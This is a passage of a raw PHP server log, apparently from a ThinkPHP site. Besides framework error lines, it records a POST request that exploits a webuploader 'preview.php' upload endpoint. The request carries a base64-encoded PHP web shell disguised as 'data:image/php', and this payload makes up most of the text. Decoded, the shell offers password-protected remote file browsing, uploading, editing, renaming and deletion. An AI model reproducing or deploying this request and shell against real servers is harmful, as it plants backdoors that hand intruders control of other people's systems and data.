assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:08:18+08:00 ] 119.42.146.234 POST 59.110.137.245/template/admin/public/js/webuploader/0.1.15/server/preview.php [运行时间:0.002742s] [吞吐率:364.69req/s] [内存消耗:274.56kb] [文件加载:37] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'template', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'public' => 'js', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: 